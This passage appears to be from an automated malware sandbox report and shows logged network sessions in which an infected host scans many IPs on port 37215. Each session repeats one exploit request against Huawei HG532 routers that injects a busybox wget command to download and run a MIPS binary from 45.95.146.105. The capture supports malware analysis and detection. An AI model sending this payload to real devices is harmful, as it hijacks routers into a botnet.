61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:44.945630074 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.23	41884	156.224.14.221	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:15:57.147237062 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.23	49398	181.22.132.236	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:00.764390945 CET	827	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:01.082942009 CET	182	IN	HTTP/1.1 500 Internal Server Error Content-Type: text/xml; charset="utf-8" Server: Linux UPnP/1.0 Huawei-ATP-IGD EXT: Connection: Keep-Alive Content-Length: 398

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.23	48186	94.120.26.84	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:09.403894901 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.23	58718	154.213.9.15	37215

Timestamp	Bytes transferred	Direction	Data
Dec 30, 2023 07:16:13.022572994 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:14.645762920 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:16.533557892 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:20.376970053 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 36 2e 31 30 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.146.105 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Dec 30, 2023 07:16:28.051892042 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 